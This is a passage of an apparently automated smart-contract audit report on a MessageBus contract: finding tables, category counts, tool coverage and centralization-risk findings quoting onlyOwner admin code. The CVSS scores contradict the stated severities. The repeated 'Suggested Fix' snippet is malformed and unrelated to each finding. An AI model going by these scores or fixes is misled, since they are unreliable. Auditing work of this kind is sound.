| F-082 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-083 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-084 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-085 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-086 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-087 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-088 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-089 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-090 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-091 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-092 | missing_annotation_coverage | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-093 | missing_annotation_coverage | INFO     | 20%        | 1     |                        | 3.1  |

| ID    | TITLE                          | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|--------------------------------|----------|------------|-------|------------------------|------|
|       |                                |          |            |       | Open<br>(20%<br>conf.) |      |
| F-094 | missing_annotation_coverage    | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-095 | missing_annotation_coverage    | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-096 | missing_annotation_coverage    | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 3.1  |
| F-097 | Integer Overflow / Underflow   | MEDIUM   | 14%        | 1     | Open<br>(14%<br>conf.) | 6.2  |
| F-098 | Integer Overflow / Underflow   | MEDIUM   | 14%        | 1     | Open<br>(14%<br>conf.) | 6.2  |
| F-099 | Integer Overflow / Underflow   | MEDIUM   | 14%        | 1     | Open<br>(14%<br>conf.) | 6.2  |
| F-100 | Access Control Issue           | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-101 | Access Control Issue           | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-102 | Access Control Issue           | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-103 | Uninitialized Storage Variable | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 8.6  |
| F-104 | Uninitialized Storage Variable | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 8.6  |
| F-105 | Uninitialized Storage Variable | LOW      | 33%        | 1     |                        | 8.6  |

| ID    | TITLE                       | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|-----------------------------|----------|------------|-------|------------------------|------|
|       |                             |          |            |       | Open<br>(33%<br>conf.) |      |
| F-106 | ml_detected_vulnerability   | MEDIUM   | 47%        | 1     | Open<br>(47%<br>conf.) | 3.1  |
| F-107 | integer_overflow            | MEDIUM   | 19%        | 1     | Open<br>(19%<br>conf.) | 6.2  |
| F-108 | Front-Running Vulnerability | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 6.2  |
| F-109 | Front-Running Vulnerability | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 6.2  |
| F-110 | Front-Running Vulnerability | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 6.2  |
| F-111 | Front-Running Vulnerability | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 6.2  |
| F-112 | Front-Running Vulnerability | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 6.2  |
| F-113 | Reentrancy Vulnerability    | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-114 | Reentrancy Vulnerability    | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-115 | Reentrancy Vulnerability    | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-116 | Reentrancy Vulnerability    | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-117 | Reentrancy Vulnerability    | MEDIUM   | 44%        | 1     |                        | 9.6  |

| ID    | TITLE                    | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|--------------------------|----------|------------|-------|------------------------|------|
|       |                          |          |            |       | Open<br>(44%<br>conf.) |      |
| F-118 | Reentrancy Vulnerability | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-119 | Reentrancy Vulnerability | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-120 | Missing Access Control   | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-121 | Missing Access Control   | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-122 | Missing Access Control   | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-123 | Missing Access Control   | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-124 | Missing Access Control   | MEDIUM   | 44%        | 1     | Open<br>(44%<br>conf.) | 9.6  |
| F-125 | reentrancy               | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-126 | reentrancy               | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-127 | reentrancy               | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-128 | reentrancy               | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-129 | reentrancy               | MEDIUM   | 33%        | 1     |                        | 9.6  |

| ID    | TITLE          | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|----------------|----------|------------|-------|------------------------|------|
|       |                |          |            |       | Open<br>(33%<br>conf.) |      |
| F-130 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-131 | access_control | INFO     | 20%        | 1     | Open<br>(20%<br>conf.) | 9.6  |
| F-132 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-133 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-134 | threat_model   | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-135 | threat_model   | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-136 | threat_model   | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-137 | threat_model   | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-138 | threat_model   | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-139 | threat_model   | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-140 | threat_model   | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-141 | threat_model   | MEDIUM   | 33%        | 1     |                        | 3.1  |

| ID    | TITLE            | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|------------------|----------|------------|-------|------------------------|------|
|       |                  |          |            |       | Open<br>(33%<br>conf.) |      |
| F-142 | threat_model     | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-143 | threat_model     | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-144 | threat_model     | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-145 | threat_model     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-146 | threat_model     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-147 | threat_model     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-148 | threat_model     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-149 | threat_model     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-150 | threat_model     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-151 | threat_model     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-152 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-153 | gas_optimization | LOW      | 33%        | 1     |                        | 3.1  |

| ID    | TITLE            | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|------------------|----------|------------|-------|------------------------|------|
|       |                  |          |            |       | Open<br>(33%<br>conf.) |      |
| F-154 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-155 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-156 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-157 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-158 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-159 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-160 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-161 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-162 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-163 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-164 | gas_optimization | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-165 | gas_optimization | LOW      | 33%        | 1     |                        | 3.1  |



| ID    | TITLE                                                           | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|-----------------------------------------------------------------|----------|------------|-------|------------------------|------|
|       |                                                                 |          |            |       | Open<br>(33%<br>conf.) |      |
| F-166 | gas_optimization                                                | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-167 | gas_optimization                                                | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-168 | gas_optimization                                                | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-169 | Token Security Issue                                            | MEDIUM   | 42%        | 1     | Open<br>(42%<br>conf.) | 3.1  |
| F-170 | Token Security Issue                                            | MEDIUM   | 42%        | 1     | Open<br>(42%<br>conf.) | 3.1  |
| F-171 | High Centralization Risk                                        | MEDIUM   | 42%        | 1     | Open<br>(42%<br>conf.) | 3.1  |
| F-172 | Centralization Risk                                             | MEDIUM   | 42%        | 1     | Open<br>(42%<br>conf.) | 3.1  |
| F-173 | Centralization Risk                                             | MEDIUM   | 42%        | 1     | Open<br>(42%<br>conf.) | 3.1  |
| F-174 | missing_storage_gap                                             | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-175 | Bridge function may trust<br>msg.sender without<br>verification | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-176 | Value transfer without<br>validation                            | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-177 |                                                                 | MEDIUM   | 33%        | 1     |                        | 3.1  |

| ID    | TITLE                                         | SEVERITY | CONFIDENCE | TOOLS | STATUS           | CVSS |
|-------|-----------------------------------------------|----------|------------|-------|------------------|------|
|       | No finality check before allowing withdrawals |          |            |       | Open (33% conf.) |      |
| F-178 | No pause mechanism detected                   | MEDIUM   | 33%        | 1     | Open (33% conf.) | 3.1  |
| F-179 | No emergency withdrawal mechanism             | MEDIUM   | 33%        | 1     | Open (33% conf.) | 3.1  |
| F-180 | unverified_relay_message                      | MEDIUM   | 33%        | 1     | Open (33% conf.) | 3.1  |
| F-181 | unverified_relay_message                      | MEDIUM   | 33%        | 1     | Open (33% conf.) | 3.1  |
| F-182 | unverified_relay_message                      | MEDIUM   | 33%        | 1     | Open (33% conf.) | 3.1  |
| F-183 | unverified_relay_message                      | MEDIUM   | 33%        | 1     | Open (33% conf.) | 3.1  |
| F-184 | unverified_relay_message                      | MEDIUM   | 33%        | 1     | Open (33% conf.) | 3.1  |
| F-185 | unverified_relay_message                      | MEDIUM   | 33%        | 1     | Open (33% conf.) | 3.1  |
| F-186 | missing_pause_mechanism                       | MEDIUM   | 33%        | 1     | Open (33% conf.) | 3.1  |
| F-187 | deposit_withdrawal_imbalance                  | MEDIUM   | 33%        | 1     | Open (33% conf.) | 3.1  |
| F-188 | access_control                                | MEDIUM   | 33%        | 1     | Open (33% conf.) | 9.6  |
| F-189 | access_control                                | MEDIUM   | 33%        | 1     |                  | 9.6  |

| ID    | TITLE          | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|----------------|----------|------------|-------|------------------------|------|
|       |                |          |            |       | Open<br>(33%<br>conf.) |      |
| F-190 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-191 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-192 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-193 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-194 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-195 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-196 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-197 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-198 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-199 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-200 | access_control | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-201 | access_control | MEDIUM   | 33%        | 1     |                        | 9.6  |

| ID    | TITLE                                    | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|------------------------------------------|----------|------------|-------|------------------------|------|
|       |                                          |          |            |       | Open<br>(33%<br>conf.) |      |
| F-202 | access_control                           | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-203 | access_control                           | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-204 | unchecked_call                           | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 6.6  |
| F-205 | unchecked_call                           | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 6.6  |
| F-206 | unchecked_call                           | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 6.6  |
| F-207 | unchecked_call                           | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 6.6  |
| F-208 | unchecked_call                           | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 6.6  |
| F-209 | Potential Integer Overflow/<br>Underflow | MEDIUM   | 14%        | 1     | Open<br>(14%<br>conf.) | 6.2  |
| F-210 | denial_of_service                        | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-211 | denial_of_service                        | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-212 | arithmetic                               | MEDIUM   | 12%        | 1     | Open<br>(12%<br>conf.) | 3.1  |
| F-213 | arithmetic                               | MEDIUM   | 12%        | 1     |                        | 3.1  |

| ID    | TITLE             | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|-------------------|----------|------------|-------|------------------------|------|
|       |                   |          |            |       | Open<br>(12%<br>conf.) |      |
| F-214 | arithmetic        | MEDIUM   | 12%        | 1     | Open<br>(12%<br>conf.) | 3.1  |
| F-215 | arithmetic        | MEDIUM   | 12%        | 1     | Open<br>(12%<br>conf.) | 3.1  |
| F-216 | arithmetic        | MEDIUM   | 12%        | 1     | Open<br>(12%<br>conf.) | 3.1  |
| F-217 | arithmetic        | MEDIUM   | 12%        | 1     | Open<br>(12%<br>conf.) | 3.1  |
| F-218 | denial_of_service | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-219 | arithmetic        | MEDIUM   | 12%        | 1     | Open<br>(12%<br>conf.) | 3.1  |
| F-220 | arithmetic        | MEDIUM   | 12%        | 1     | Open<br>(12%<br>conf.) | 3.1  |
| F-221 | denial_of_service | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-222 | bad_randomness    | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-223 | arithmetic        | MEDIUM   | 12%        | 1     | Open<br>(12%<br>conf.) | 3.1  |
| F-224 | denial_of_service | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-225 | bad_randomness    | MEDIUM   | 33%        | 1     |                        | 3.1  |

| ID    | TITLE             | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|-------------------|----------|------------|-------|------------------------|------|
|       |                   |          |            |       | Open<br>(33%<br>conf.) |      |
| F-226 | denial_of_service | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-227 | bad_randomness    | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-228 | arithmetic        | MEDIUM   | 12%        | 1     | Open<br>(12%<br>conf.) | 3.1  |
| F-229 | denial_of_service | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-230 | bad_randomness    | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-231 | arithmetic        | MEDIUM   | 12%        | 1     | Open<br>(12%<br>conf.) | 3.1  |

## 4.2 Category Distribution

| CATEGORY                    | COUNT | SEVERITY BREAKDOWN         |
|-----------------------------|-------|----------------------------|
| access_control              | 28    | 1 informational, 27 medium |
| threat_model                | 18    | 7 low, 11 medium           |
| gas_optimization            | 17    | 17 low                     |
| missing_annotation_coverage | 16    | 16 informational           |
| centralization_risk         | 13    | 10 low, 3 medium           |
| reentrancy                  | 12    | 12 medium                  |
| state-no-address-check      | 11    | 11 low                     |
| arithmetic                  | 11    | 11 medium                  |

| CATEGORY                      | COUNT | SEVERITY BREAKDOWN |
|-------------------------------|-------|--------------------|
| centralization-risk           | 10    | 10 low             |
| postcondition_failure         | 8     | 8 medium           |
| denial_of_service             | 7     | 7 medium           |
| boolean-equality              | 6     | 6 low              |
| unverified_relay_message      | 6     | 6 medium           |
| missing_event_emission        | 5     | 5 low              |
| unused-public-function        | 5     | 5 low              |
| state_invariant_break         | 5     | 5 medium           |
| integer_overflow              | 5     | 5 medium           |
| front_running                 | 5     | 5 medium           |
| unchecked_call                | 5     | 5 medium           |
| eth-send-unchecked-address    | 4     | 4 medium           |
| reentrancy-state-change       | 4     | 4 high             |
| bad_randomness                | 4     | 4 medium           |
| uninitialized_storage         | 3     | 3 low              |
| internal-function-used-once   | 2     | 2 low              |
| precondition_failure          | 2     | 2 low              |
| access_control_violation      | 2     | 2 medium           |
| token_security                | 2     | 2 medium           |
| emergency_withdrawal          | 2     | 2 medium           |
| state-change-without-event    | 1     | 1 low              |
| unspecific-solidity-pragma    | 1     | 1 low              |
| state_manipulation            | 1     | 1 medium           |
| fund_extraction               | 1     | 1 medium           |
| privilege_escalation_sequence | 1     | 1 medium           |

| CATEGORY                     | COUNT | SEVERITY BREAKDOWN |
|------------------------------|-------|--------------------|
| cross_function_vulnerability | 1     | 1 medium           |
| ml_detected_vulnerability    | 1     | 1 medium           |
| missing_storage_gap          | 1     | 1 medium           |
| insufficient_verification    | 1     | 1 medium           |
| bridge_fund_drainage         | 1     | 1 medium           |
| finality_assumption          | 1     | 1 medium           |
| missing_pause_mechanism      | 1     | 1 medium           |
| deposit_withdrawal_imbalance | 1     | 1 medium           |

### 4.3 Layer Coverage Analysis

| LAYER                              | TOOLS RUN                                                  | PASSED | FAILED | FINDINGS | COVERAGE                                                                                   |
|------------------------------------|------------------------------------------------------------|--------|--------|----------|--------------------------------------------------------------------------------------------|
| Layer 1:<br>Static<br>Analysis     | slither, aderyn, solhint,<br>wake, semgrep                 | 4      | 1      | 49       |  80%  |
| Layer 2:<br>Dynamic<br>Testing     | echidna, medusa,<br>foundry, dogefuzz,<br>vertigo, hardhat | 6      | 0      | 0        |  100% |
| Layer 3:<br>Symbolic<br>Execution  | mythril, manticore,<br>halmos, oyente                      | 4      | 0      | 0        |  100% |
| Layer 4:<br>Formal<br>Verification | certora, smtchecker,<br>propertygpt, scribble              | 3      | 1      | 33       |  75%  |
| Layer 6:<br>AI/LLM<br>Analysis     | smartllm, gptscan,<br>llmsmartaudit                        | 3      | 0      | 0        |  100% |
| Layer 7:<br>ML<br>Detection        | dagann, smartbugs_ml,<br>smartbugs_detector,<br>smartguard | 3      | 1      | 19       |  75%  |
| Layer 8:<br>DeFi<br>Security       | mev_detector, defi                                         | 2      | 0      | 0        |  100% |



| LAYER                               | TOOLS RUN                                                                       | PASSED | FAILED | FINDINGS | COVERAGE                       |
|-------------------------------------|---------------------------------------------------------------------------------|--------|--------|----------|--------------------------------|
| Layer 9:<br>Specialized<br>Analysis | threat_model,<br>gas_analyzer,<br>contract_clone_detector,<br>advanced_detector | 4      | 0      | 40       | <div><div></div></div><br>100% |

## 5. Detailed Findings

### F-001. centralization\_risk

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:225 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

#### Description

Contract has centralization risk - single owner or admin can control critical functions

#### Vulnerable Code

```

220 | *
221 | * By default, the owner account will be the one that deploys the contract.
This
222 | * can later be changed with {transferOwnership}.
223 | *
224 | * This module is used through inheritance. It will make available the
modifier
>> 225 | * `onlyOwner`, which can be applied to your functions to restrict their use
to
226 | * the owner.
227 | *
228 | * This adds a normal func that setOwner if _owner is address(0). So we can't
allow
229 | * renounceOwnership. So we can support Proxy based upgradable contract
230 | */

```

## Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

## Recommendation

Implement multi-sig or timelock for privileged operations

## Suggested Fix

```
['_setOwner(msg.sender);', 'if (_owner == address(0)) {' + '_setOwner(msg.sender);', '+}']
```

**Remediation Effort:** Low **Estimated Fix Time:** 30 min

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-002. centralization\_risk

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:263 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

## Description

Contract has centralization risk - single owner or admin can control critical functions

## Vulnerable Code

```

258 |     }
259 |
260 |     /**
261 |      * @dev Throws if called by any account other than the owner.
262 |      */
>> 263 |     modifier onlyOwner() {
264 |         require(owner() == msg.sender, "Ownable: caller is not the owner");
265 |         _;
266 |     }

```

```
267 |
268 |     /**
```

## Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

## Recommendation

Implement multi-sig or timelock for privileged operations

## Suggested Fix

```
['_setOwner(msg.sender);', 'if (_owner == address(0)) {' + '_setOwner(msg.sender);', '+}']
```

**Remediation Effort:** Low **Estimated Fix Time:** 30 min

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-003. centralization\_risk

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:272 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

## Description

Contract has centralization risk - single owner or admin can control critical functions

## Vulnerable Code

```
267 |
268 |     /**
269 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).
270 |      * Can only be called by the current owner.
271 |      */
>> 272 |     function transferOwnership(address newOwner) public virtual onlyOwner {
```

```

273 |         require(newOwner != address(0), "Ownable: new owner is the zero
address");
274 |         _setOwner(newOwner);
275 |     }
276 |
277 |     function _setOwner(address newOwner) private {

```

## Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

## Recommendation

Implement multi-sig or timelock for privileged operations

## Suggested Fix

```

['_setOwner(msg.sender);', 'if (_owner == address(0)) {', ' _setOwner(msg.sender);',
'+}']

```

**Remediation Effort:** Low **Estimated Fix Time:** 30 min

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-004. centralization\_risk

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:391 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

## Description

Contract has centralization risk - single owner or admin can control critical functions

## Vulnerable Code

```

386 |         return feeBase + _message.length * feePerByte;
387 |     }

```

```

388 |
389 | // ----- Admin -----
390 |
>> 391 | function setFeePerByte(uint256 _fee) external onlyOwner {
392 |     feePerByte = _fee;
393 |     emit FeePerByteUpdated(feePerByte);
394 | }
395 |
396 | function setFeeBase(uint256 _fee) external onlyOwner {

```

## Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

## Recommendation

Implement multi-sig or timelock for privileged operations

## Suggested Fix

```
['_setOwner(msg.sender);', 'if (_owner == address(0)) {' + '_setOwner(msg.sender);', '+}']
```

**Remediation Effort:** Low **Estimated Fix Time:** 30 min

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-005. centralization\_risk

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:396 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

## Description

Contract has centralization risk - single owner or admin can control critical functions

## Vulnerable Code

```

391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
>> 396 |     function setFeeBase(uint256 _fee) external onlyOwner {
397 |         feeBase = _fee;
398 |         emit FeeBaseUpdated(feeBase);
399 |     }
400 | }
401 |

```

## Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

## Recommendation

Implement multi-sig or timelock for privileged operations

## Suggested Fix

```

['_setOwner(msg.sender);', 'if (_owner == address(0)) {' + '_setOwner(msg.sender);',
'+}']

```

**Remediation Effort:** Low **Estimated Fix Time:** 30 min

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-006. centralization\_risk

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:762 |
| Status      | Open (33% conf.)                                        |
| Detected By | fouranalyzer                                            |

## Description

Contract has centralization risk - single owner or admin can control critical functions

## Vulnerable Code

```

757 |         return false;
758 |     }
759 |
760 |     // ===== contract addr config =====
761 |
>> 762 |     function setLiquidityBridge(address _addr) public onlyOwner {
763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |

```

## Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

## Recommendation

Implement multi-sig or timelock for privileged operations

## Suggested Fix

```
['_setOwner(msg.sender);', 'if (_owner == address(0)) {' + ' _setOwner(msg.sender);', '+}']
```

**Remediation Effort:** Low **Estimated Fix Time:** 30 min

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-007. centralization\_risk

| PROPERTY   | VALUE                                                   |
|------------|---------------------------------------------------------|
| Severity   | LOW                                                     |
| Category   |                                                         |
| CVSS Score | 3.1                                                     |
| Confidence | 33%                                                     |
| Location   | /home/hero/audit_workspace/flattened_MessageBus.sol:768 |
| Status     | Open (33% conf.)                                        |

| PROPERTY           | VALUE        |
|--------------------|--------------|
| <b>Detected By</b> | fouranalyzer |

## Description

Contract has centralization risk - single owner or admin can control critical functions

## Vulnerable Code

```

763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |
>> 768 |     function setPegBridge(address _addr) public onlyOwner {
769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |

```

## Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

## Recommendation

Implement multi-sig or timelock for privileged operations

## Suggested Fix

```
['_setOwner(msg.sender);', 'if (_owner == address(0)) {' + _setOwner(msg.sender);', '+}']
```

